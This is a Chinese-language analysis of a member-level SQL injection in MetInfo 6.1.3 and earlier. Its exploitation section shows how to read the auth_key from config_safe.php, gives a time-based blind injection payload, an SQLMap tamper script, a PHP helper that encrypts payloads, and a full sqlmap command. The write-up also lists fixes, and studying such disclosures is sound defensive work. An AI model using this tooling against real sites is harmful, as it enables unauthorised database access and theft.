某info<=6.1.3前台SQL注入
字数 1459 2025-08-29 08:32:09

MetInfo <=6.1.3 前台SQL注入漏洞分析与利用

0x00 漏洞概述

MetInfo企业网站管理系统在6.1.3及以下版本存在一个前台SQL注入漏洞,攻击者需要具备会员权限才能利用此漏洞。该漏洞存在于/member/basic.php文件中,通过精心构造的请求参数可导致SQL注入攻击。

0x01 漏洞影响

  • 影响版本:MetInfo <=6.1.3
  • 影响环境:PHP-TS(线程安全)版本
  • 利用条件:需要会员权限

0x02 漏洞分析

漏洞定位

漏洞主要存在于以下文件:

  • /member/basic.php
  • /app/system/user/web/profile.class.php
  • /app/system/include/class/auth.class.php

关键代码分析

  1. 入口点/member/basic.php文件中的dosafety_emailadd方法

  2. 调用链

    • dosafety_emailadd方法调用auth类的decode方法
    • decode方法处理用户输入
    • 最终调用get_user_by_emailid方法执行SQL查询
  3. 关键漏洞点

    • /app/system/include/class/auth.class.php文件的get_user_by_emailid方法中,直接将用户输入的$email参数拼接到了SQL语句中,没有进行任何过滤或转义:
    public static function get_user_by_emailid($emailid){
        $sql = "SELECT * FROM {$_M['table']['user']} WHERE email = '{$emailid}'";
        return DB::get_one($sql);
    }
    

0x03 漏洞利用

利用条件

  1. 获取auth_key:需要从/config/config_safe.php文件中获取加密密钥
  2. 需要会员权限(有效的会员cookie)
  3. 服务器必须运行在PHP-TS(线程安全)版本

利用步骤

  1. 获取加密密钥

    • 访问http://target.com/config/config_safe.php
    • 查看源代码获取被注释的auth_key
  2. 构造恶意payload

    • 使用获取的auth_key对恶意SQL语句进行加密
    • 示例payload:a.com' or username='test' and if(length(user())>=10,sleep(5),0)#
  3. 发送恶意请求

    • 构造URL:http://target.com/member/basic.php?a=dosafety_emailadd&p=[加密后的payload]
    • 携带有效的会员cookie
  4. 利用延时注入

    • 由于页面只返回true或false,需要使用延时盲注技术
    • 通过观察响应时间判断注入是否成功

自动化利用

可以使用以下工具自动化利用该漏洞:

  1. SQLMap Tamper脚本

    #!/usr/bin/env python
    """
    Metinfo V6.1.3
    """
    from lib.core.enums import PRIORITY
    from sys import argv
    import urllib2
    
    __priority__ = PRIORITY.LOWEST
    api_url = "http://localhost:8081/sqli.php?key=#1&encodestr=#2"
    key_name = "/config/config_safe.php"
    
    def dependencies(): pass
    
    def tamper(payload, **kwargs):
        global api_url
        url = argv[2].replace("/member/basic.php?a=dosafety_emailadd&p=*","")
        send_key(url)
        res = request(api_url.replace("#2",urllib2.quote("a.com' or username='test'"+payload)))
        if res["code"] == 200:
            return res["text"]
    
    def send_key(url):
        global api_url,key_name
        res = request(url+key_name)
        if(res["code"] == 200):
            if(len(res["text"])>0):
                api_url = api_url.replace("#1",res["text"].replace("<?php/*","").replace("*/?>","").strip())
            else:
                print "[-] URL can not be used. "
                exit()
    
    def request(url):
        request = urllib2.Request(url)
        request.add_header('Content-Type', 'application/x-www-form-urlencoded')
        response = urllib2.urlopen(request)
        return {"code":response.getcode(),"text":response.read()}
    
  2. API接口脚本(用于加密payload):

    <?php
    class auth {
        public $auth_key;
    
        public function __construct($key) {
            $this->auth_key = $key;
        }
    
        // 其他方法...
    }
    
    if(isset($_REQUEST["key"]) && !empty($_REQUEST["key"])) {
        $auth = new auth($_REQUEST["key"]);
    } else {
        exit("[-] Please input key.");
    }
    
    if(isset($_REQUEST["encodestr"]) && !empty($_REQUEST["encodestr"])) {
        exit($auth->encode(urldecode($_REQUEST["encodestr"])));
    } else {
        exit("[-] Please enter encrypted string.");
    }
    
  3. SQLMap命令

    sqlmap -u "http://target.com/member/basic.php?a=dosafety_emailadd&p=*" --cookie "会员cookie" --tamper "Metinfo.py" --dbms "mysql" --technique "T"
    

0x04 漏洞修复

  1. 官方修复

    • 升级到最新版本
    • 使用MetInfo提供的安全函数如inject_checkdaddslashes对用户输入进行过滤
  2. 临时修复

    • 修改get_user_by_emailid方法,使用参数化查询
    • 对用户输入进行严格的过滤和转义

0x05 注意事项

  1. 该漏洞只能在PHP-TS(线程安全)版本中利用
  2. 需要有效的会员权限才能利用
  3. 加密密钥auth_key必须正确才能成功构造payload
  4. 由于是盲注漏洞,利用效率较低,建议使用自动化工具

0x06 参考

  • 原始漏洞分析文章:先知社区
  • MetInfo官方网站:http://www.metinfo.cn/
MetInfo <=6.1.3 前台SQL注入漏洞分析与利用 0x00 漏洞概述 MetInfo企业网站管理系统在6.1.3及以下版本存在一个前台SQL注入漏洞,攻击者需要具备会员权限才能利用此漏洞。该漏洞存在于 /member/basic.php 文件中,通过精心构造的请求参数可导致SQL注入攻击。 0x01 漏洞影响 影响版本:MetInfo <=6.1.3 影响环境:PHP-TS(线程安全)版本 利用条件:需要会员权限 0x02 漏洞分析 漏洞定位 漏洞主要存在于以下文件: /member/basic.php /app/system/user/web/profile.class.php /app/system/include/class/auth.class.php 关键代码分析 入口点 : /member/basic.php 文件中的 dosafety_emailadd 方法 调用链 : dosafety_emailadd 方法调用 auth 类的 decode 方法 decode 方法处理用户输入 最终调用 get_user_by_emailid 方法执行SQL查询 关键漏洞点 : 在 /app/system/include/class/auth.class.php 文件的 get_user_by_emailid 方法中,直接将用户输入的 $email 参数拼接到了SQL语句中,没有进行任何过滤或转义: 0x03 漏洞利用 利用条件 获取 auth_key :需要从 /config/config_safe.php 文件中获取加密密钥 需要会员权限(有效的会员cookie) 服务器必须运行在PHP-TS(线程安全)版本 利用步骤 获取加密密钥 : 访问 http://target.com/config/config_safe.php 查看源代码获取被注释的 auth_key 值 构造恶意payload : 使用获取的 auth_key 对恶意SQL语句进行加密 示例payload: a.com' or username='test' and if(length(user())>=10,sleep(5),0)# 发送恶意请求 : 构造URL: http://target.com/member/basic.php?a=dosafety_emailadd&p=[加密后的payload] 携带有效的会员cookie 利用延时注入 : 由于页面只返回true或false,需要使用延时盲注技术 通过观察响应时间判断注入是否成功 自动化利用 可以使用以下工具自动化利用该漏洞: SQLMap Tamper脚本 : API接口脚本 (用于加密payload): SQLMap命令 : 0x04 漏洞修复 官方修复 : 升级到最新版本 使用MetInfo提供的安全函数如 inject_check 或 daddslashes 对用户输入进行过滤 临时修复 : 修改 get_user_by_emailid 方法,使用参数化查询 对用户输入进行严格的过滤和转义 0x05 注意事项 该漏洞只能在PHP-TS(线程安全)版本中利用 需要有效的会员权限才能利用 加密密钥 auth_key 必须正确才能成功构造payload 由于是盲注漏洞,利用效率较低,建议使用自动化工具 0x06 参考 原始漏洞分析文章: 先知社区 MetInfo官方网站:http://www.metinfo.cn/